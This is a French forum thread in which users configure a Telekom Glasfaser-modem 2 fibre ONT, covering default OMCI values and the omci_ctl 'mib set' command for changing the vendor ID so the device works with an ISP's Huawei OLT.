<Element name="OmciManageWanMask" writable="1" ntchange="0" value="000000" type="string"/>
<Element name="PretendFwVersion" writable="1" ntchange="0" value="FG1000B-SC-113" type="string"/>
<Element name="O7Flag" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="MvlanFilterEnable" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="AutoUpgradeFlag" writable="1" ntchange="0" value="1" type="boolean"/>

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: nague le 16 mai 2024 à 15:25:10
Merci Benoit pour ton retour et tes pistes de résolutions. Je vais prendre le temps de tester. La piste du vendorId en priorité.

Je peux déjà confirmer mes valeurs qui sont par défaut :
- vendorId  : 53434F4D
- CompatOLT : huawei
- PretendFwVersion : FG1000B-SC-113
- HuaweiONTType: 5

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 16 mai 2024 à 21:41:07
Bon j'ai fini par trouver le moyen de changer le vendorId dans la config (par contre ce n'est pas sauvegardé, j'espère qu'un gponctl stop/star pourra suffire pour tester)

umci_ctl mib set 256 0 1 53434F4D
En fait on part du help de la commande
Format: uomci_ctl  [-f <filename>] mib set <class_id> <entity_id> <index> <value>
Action: set one attribute's value for one  instance.
Arguments:
   Class_id: ME class value.
   Entity_id: instance id.
   Index: the index of attribute to be set.
   Value: the attribute's value to be set.

class_id c'est l'entrée ME à changer donc 256 ici
Entity_id à priroi il doit y avoir une gestion de version mais dans notre cas toujours 0
Index c'est la position du champ à changer par rapport à la sortie de la commande get en comptant depuis le haut en partant de 0
Value c'est la value (directement en text pour les champs string, mais en decimal pour les entré hexa ...)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: nague le 17 mai 2024 à 08:22:25
Excellent, j'étais justement en train de chercher pour utiliser la commande set.
Je me suis absenté une dizaine de jours, je reprendrai les investigations à mon retour.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mirtouf le 17 mai 2024 à 19:07:48
De mon expérience avec un UI nano G fiber, il faut a minima forcer la compatibilité Huawei et avoir un SN de type Huawei pour que cela fonctionne.
Je n'ai poussé les investigations plus loin avec le Glasfaser et donc je n'ai pas réussi à l'utiliser en remplacement d'un ONT HG8010H.